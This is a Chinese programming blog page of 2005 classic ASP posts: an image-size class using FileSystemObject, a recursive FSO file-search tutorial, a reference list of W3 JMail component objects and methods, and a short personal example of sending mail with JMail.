       ret(3) = "width = """ & ret(1) & """ height = """ & ret(2) & """"
       getimagesize=ret
   End Function
     
   Public Function imgW(IMGPath)
       Dim FSO,IMGFile,FileExt,Arr
       Set FSO = Server.CreateObject("Scripting.FileSystemObject")
       If (FSO.FileExists(IMGPath)) Then
           Set IMGFile = FSO.GetFile(IMGPath)
           FileExt = FSO.GetExtensionName(IMGPath)
           Select Case FileExt
               Case "gif", "bmp", "jpg", "png":
               Arr = GetImageSize(IMGFile.Path)
               imgW = Arr(1)
           End Select
           Set IMGFile = Nothing
       Else
           imgW = 0
       End If    
       Set FSO = Nothing
   End Function
   
   Public Function imgH(IMGPath)
       Dim FSO, IMGFile, FileExt, Arr
       Set FSO = server.CreateObject("Scripting.FileSystemObject")
       If (FSO.FileExists(IMGPath)) Then
           Set IMGFile = FSO.GetFile(IMGPath)
           FileExt = FSO.GetExtensionName(IMGPath)
           Select Case FileExt
               Case "gif", "bmp", "jpg", "png":
               Arr = getImageSize(IMGFile.Path)
               imgH = Arr(2)
           End Select
           Set IMGFile = Nothing
       Else
           imgH = 0
       End If    
       Set FSO = Nothing
   End Function
End Class

IMGPath = "Test.jpg"

Set PP = New ImgWHInfo  
W = PP.imgW(Server.Mappath(IMGPath))  
H = PP.imgH(Server.Mappath(IMGPath))
Set pp = Nothing

Response.Write("<img src='" & IMGPath & "' border=0><br>宽:" & W & ";高:" & H)
%>


作者:未知
来源:http://www.programfan.com/article/showarticle.asp?id=2664


--------------------
纯白色
云娜音乐
54ol.com 54ol.net h365.net 5icn.com 5itw.com 54zz.net uofan.com
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
不学无术
post Apr 3 2005, 06:29 AM
发表于: #5


论坛管理员
*********

用户组: 管理员
发表总数: 3,801
注册日期: 1-March 03
来自: 天地人间
会员编号: 24



使用 FSO 进行搜索

   建立搜索引擎的关键是递归。主要地,编写一段代码搜索目录下的文件,然后对所有的目录循环执行同样的代码。因为不能确定总共有多少个子目录,所以必须一遍又一遍地执行搜索代码,直到结束。递归调用非常好!

   下面来创建搜索页面。假设已经建立了一个HTML表单,用户在其中输入一个搜索字符串。
CODE
Dim objFolder
Dim strSearchText
Dim objFSO

strSearchText = Request.Form("SearchText")    'The search string
'create the FSO and Folder objects
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(Server.MapPath("/"))

Search objFolder


   上面的代码简单地初始化变量,Search函数执行搜索功能,描述如下:
CODE
Function Search(objFolder)
 Dim objSubFolder

 'loop through every file in the current folder
 For Each objFile in objFolder.Files
   Set objTextStream = objFSO.OpenTextFile(objFile.Path,1) < -- For Reading
       'read the file‘s contents into a variable
       strFileContents = objTextStream.ReadAll

       'if the search string is in the file, then write a link
       'to the file

       If InStr(1, strFileContents, strSearchText, 1) Then
          Response.Write("< A HREF=""/" & objFile.Name & """>" & objFile.Name & "< /A>< BR>")
          bolFileFound = True
       End If

       objTextStream.Close
 Next

 'Here is the recursion part - for each
 'subfolder in this directory, run the Search function again

 For Each objSubFolder In objFolder.SubFolders
       Search objSubFolder
 Next

End Function


   为了能打开文件,FSO需要实际的文件路径,而不是web路径。比如,是c:\inetpub\wwwroot\empindex.htm,而不是 www.enfused.com/temp/index.html 或者 /temp/index.html。为了将后者转换为前者,使用 Server.MapPath("filename"),filename 表示 web 路径名。

   上面的代码将在你指定的初始目录下的文件夹的每一个子目录中执行,在这里,初始目录是指web根目录“/”。然后就简单地打开目录下的每一个文件,看看其中是否包含指定的字符串,如果找到字符串就显示那个文件的链接。

   注意,随着文件和子目录数量的增加,搜索花费的时间也将增加。如果需要繁重的搜索工作,建议你采取其他的方法,比如微软公司的索引服务器 Index Server。
posted @ 2005-07-01 16:34 一天一点爱恋 阅读(377) | 评论 (0)编辑 收藏
 

使用W3 JMail实现邮件发送的解决方案

W3 JMail 邮件组件是Dimac公司开发的用来完成邮件的发送、接收、加密和集群传输等工作的。w3 Jmail组件是国际最为流行的邮件组件之一,当今世界上绝大部分ASP程序员都在使用w3 Jmail组件构建邮件发送系统,那是因为w3 Jmail组件使用了新的内核技术,使其更加可靠和稳定。

一、下面向读者介绍w3 Jmail4.3组件的新特性:

1、 w3 Jmail4.3组件重新设计了其内部结构——使用Message对象代替原来的单一对象Jmail.smtpmail发送邮件;

2、 w3 Jmail4.3组件一共有十多个对象(后面将详细介绍)——这些对象中,绝大多数是针对Jmail.Message对象操作的;

3、 支持从POP3邮件服务器收取邮件;

4、 支持加密邮件的传输;

5、 快速发送,一次会话就完成邮件发送;

6、 还有一个特性就是可以使用w3 Jmail4.3组件的集群发送功能一次发送成千上万个邮件,还可以通过邮件合并(mailmerge)对象来个性化邮件。

二、Jmail邮件组件的安装及卸载:

1、 安装

跟使用别个组件一样,在使用Jmail邮件组件之前要先安装或注册该组件Jmail.dll。具体注册方法,是先把Jmail.dll文件拷贝到硬盘的某一目录下(如C:\Jmail\Jmail.dll),然后执行命令Regsvr32 C:\Jmail\Jmail.dll即可。

2、 卸载

卸载组件是安装组件的相反动作,可以使用参数/U来卸载已安装的组件,执行命令Regsvr32 /U Jmail.dll即可。

三、详细介绍W3 Jmail组件的对象(12个):

1、.POP3对象

属性(或方法)
说明

Connect(Username,Password,Server,Port)
连接POP3服务器,断口可选,默认110。

DeleteMessages()
从邮件服务器上删除所有邮件。

DeleteSingleMessage(MessageID)
从邮件服务器上删除由MessageID指定的邮件。

Disconnect()
关闭跟邮件服务器的连接。

DownloadHeaders()
从邮件服务器上读取所有的邮件头并传递给Messages集合。

DownloadMessages()
从邮件服务器读取所有邮件。

DownloadSingleHeader(MessageID)
从邮件服务器读取指定的邮件头并传递给Messages集合。

DownloadUnreadMessages()
从邮件服务器上读取所有未读邮件。




2、.Messages对象

属性(或方法)
说明

Clear()
清除集合中的所有内容,并不会删除邮件服务器上的任何邮件。

Count():Integer
返回集合中记录的数目:I=Messages.Count

Item(Index):Pointer
返回一个Message对象。Set oMsg=Messages.Item(0)




3、.Message对象

属性(或方法)
说明

AddAttachment(FileName,isInline,ContentType):String
给邮件添加一个文件型的附件。isInline设置为True时,添加的这个附件就是一个可嵌入的附件。

AddCustomAttachment(FileName,Data,isInline):String
给邮件添加一个自定义类型的附件。

AddHeader(Xheader,Value)
给邮件添加一个自定义邮件头X-Header。

AddNativeHeader(Header,Value)
给邮件添加一个邮件头。

AddRecipient(emailAddress,recipientName,PGPKey)
给邮件添加一个收件人。RecipientName和PGPKey是可选项,RecipientName为收件人姓名,PGPKey给邮件加密。

AddRecipientBCC(emailAddress,PGPKey)
添加一个邮件暗送人(BCC)地址。

AddRecipientCC(emailAddress,recipientName,PGPKey)
给邮件添加一个邮件抄送人(CC)地址。

AddURLAttachment(bstrURL,bstrAttachAs,isInline,bstrAuth):String
从指定的URL下载文件并添加为邮件附件。参数bstrAttachAs是用来更改添加为邮件附件的文件名。

AppendBodyFromFile(FileName)
清除邮件正文,并把指定文件的内容作为邮件正文。

AppendHTML(Text)
从邮件追加HTML格式正文,如例所示:Message. AppendHTML(“<H3>Hello Word</H3>”)

AppendText(Text)
向邮件添加文本正文。

Clear()
清除所有邮件消息,是成为一个空对象。

ClearAttachments()
清除附件列表。如:Message.ClearAttachments

ClearCustomHeaders()
清除所有自定义的邮件头。

ClearRecipients()
清除所有收件人地址列表。

Close()
释放Jmail与邮件服务器连接而使用的缓存(Cache)。

DecodeHeader(Header):String
输出一个邮件头消息。

ExtractEmailAddressesFromURL(bstrURL,bstrAuth)
从指定的网制(URL)读取并添加邮件列表。

GetMessageBodyFromURL(同上)
删除邮件正文并用指定的URL的内容代替。

KeyInformation(keyIdentifier):pointer
返回一个PGPKey对象。

LoadFromStream(Stream)
从数据库流读取数据,该数据库流必须符合RFC822标准。

LogCustomMessage(Message)
给Jmail日志文件添加自定义日志。此函数只有在logging属性被设置为True时有效。

Nq()
将邮件追加到发送队列等待发送。

ParseMessage(MessageSource)
解析一个邮件,数据流必须符合RFC822格式标准。

SaveToStream(Stream)
保存邮件到数据流,数据流必须符合RFC822格式标准。

Send(MailServer,enque):Boolean
发送邮件。邮件服务器是一个描述邮件服务器名称或地址的字符串,用户名和密码是可选项。当要发送认证邮件时使用格式为:用户名:密码@邮件服务器

SendToNewsGroup(ServerName,NewsGroup)
使用指定的NNTP服务器发送邮件到新闻组,多个邮件用“,”隔开。

About():string
设置一些附加信息。

Attachments():Pointer
返回邮件的附件集合。Set Attachments=Message.Attachments

Body():String
返回邮件正文。Response.Write (Message.Body)


BodyText():String
返回全部的文本正文。Response.Write (Message.BodyText)

Charset():String
设置邮件使用的字符集。默认为US-ASCII,支持中文则设置为GB2312。

ContentTransferEncoding():String
设置邮件编码。默认为:Quoted-Printable.

ContentType():string
返回正文类型。

Date():Date
返回邮件发送时间。

DeferredDelivery():Date
设置邮件定时发送。

Encoding():String
设置附件的默认编码:Base64或Quoted-Printable

EncryptAttachments():Boolean
设置为True时,所有的附件都被加密,当然是编译器可用的情况下。其默认值为True.

ErrorCode():Integer
如果message.silent设置为True时,该函数包含错误号。

ErroeMessage():String
如果message.silent设置为True时,该函数包含错误描述。

ErroeSource():String
如果message.silent设置为True时,该函数包含错误来源。

From():String
返回或设置发件人的Email地址。

FromName():String
返回或设置发件人的名字。

HtmlBody():String
返回或设置邮件正文的HTML部分。

ISOEncodeHeaders():Boolean
邮件头是否使用iso-8859-1编码。(默认为True)

Log():String
当Logging为True时,该函数返回创建的日志。

Logging():Boolean
是否启用日志。Message.Logging=True时,启用日志。

MailData():String
返回邮件的源代码。

MailDomain():String
设置发送邮件时使用的邮件服务器。

MailServerPassWord():String
当邮件服务器使用SMTP发信认证时,该函数设置登录密码。

MailServerUserName():String
当邮件服务器使用SMTP发信认证时,该函数设置登录帐号。

MimeVersion():String
声明Mime版本,默认为1.0。

MsPickupdirectory():String
指定MS SMTP服务的Pickup文件夹的位置。

PGPEncrypt():Boolean
当邮件是使用PGP发送时并该属性被设置为True时,该邮件将被自动加密。

PGPSign():Boolean
当邮件是使用PGP发送时并该属性被设置为True时,该邮件将被自动签名。

Priority():Byte
设置邮件的优先级:1、2和3

Recipients():Pointer
返回收件人集合。

RecipientsString():String
返回收件人集合(只读)。

ReplyTo():String
指定一个回复地址。

Silent():Boolean
当设置为True时,Send()方法就会忽略错误并不将错误信息返回给操作系统。

SimpleLayout():Boolean
当设置为True时,发信时Jmail不会添加邮件头到邮件里。

Size():Integer
返回邮件的总字节数。

Subject():String
设置邮件标题。

Text():string
返回完整的邮件内容。

Version():String
返回Jmal的版本信息。




4、 Headers对象

属性(或方法)
描述

GetHeader(HeaderName):String
返回指定的邮件头的值。

Text():String
返回所有的邮件头的值。




5、 Recipients对象

属性(或方法)
描述

Add(Value)
追加一个收件人到集合中。

Clear()
清除集合中的全部记录。

Count():Integer
返回集合中收件人的总数。

Item(Index):Pointer
返回集合中的一个指定的收件人。




6、 Recipient对象

属性(或方法)
描述

New(Name,Email,recipientType):Pointer
创建一个可以添加到收件人集合中Recipients的收件人。

Email():String
返回收件人的邮件。

Name():String
返回收件人的姓名。

ReType():Integer
返回收件人模式(收件人To=0,抄送CC=1,暗送BCC=2)。




7、 Attachments对象

属性(或方法)
描述

Add(Attachment)
添加一个附件到集合。

Clear()
清除集合中的全部附件。

Count():Integer
返回集合中附件的总数。

Item(Index):Pointer
返回集合中指定的附件。
posted @ 2005-07-01 10:45 一天一点爱恋 阅读(233) | 评论 (0)编辑 收藏
 
今天,我学会了用jmail 发邮件!!!但愿我每天都在成长中!呵呵

方法是:
1,下载jmail
2,安装,
3,找到dll拷贝到同一级目录下
4,注册,普通的,大多数dll无需注册,只需要放在与exe相同的目录下就可以了。不推荐放在
system之类的目录中。
只有com服务器的dll需要注册(类似ocx)。一般不需要参数
regsvr32 abc.dll
反注册:
revsvr32 /u abc.dll
5,最后:
      <%
     Set jmail = Server.CreateObject("JMAIL.Message")   '建立发送邮件的对象
     jmail.silent = true    '屏蔽例外错误,返回FALSE跟TRUE两值j
     jmail.logging = true   '启用邮件日志
     jmail.Charset = "GB2312"     '邮件的文字编码为国标
     jmail.ContentType = "text/html"    '邮件的格式为HTML格式
     jmail.AddRecipient   "
ntlizheng@eyou.com"   '邮件收件人的地址
     jmail.From = "
ntlizheng@126.com"   '发件人的E-MAIL地址
     jmail.MailServerUserName = "ntlizheng"     '登录邮件服务器所需的用户名
     jmail.MailServerPassword = "#######"     '登录邮件服务器所需的密码
     jmail.Subject = "Mail Subjectntlizheng"    '邮件的标题
     jmail.Body = "Mail dddddBody"      '邮件的内容
     'jmail.Prority = 1      '邮件的紧急程序,1 为最快,5 为最慢, 3 为默认值
     jmail.Send("smtp.126.com")     '执行邮件发送(通过邮件服务器地址)
     jmail.Close()   '关闭对象
  response.write "______________here"
  response.end
%>
6:成功了,呵呵,好爽啊!                    
                                                                                                      9:57:33



呵呵,一个新单词:
简明英汉词典
encryption
金软件山
编密码
Encryption
软King件Soft
[计] 加密术,密码术

MASS
金soft软件king山
=Manual Analysis Scan System 人工分析扫描系统
mass
软King件Soft
n.
块, 大多数, 质量, 群众, 大量
adj.
群众的, 大规模的, 集中的
vt.
使集合
vi.
聚集

posted @ 2005-07-01 09:50 一天一点爱恋 阅读(229) | 评论 (0)编辑 收藏
 
Copyright © 一天一点爱恋 Powered by: 博客园 模板提供:沪江博客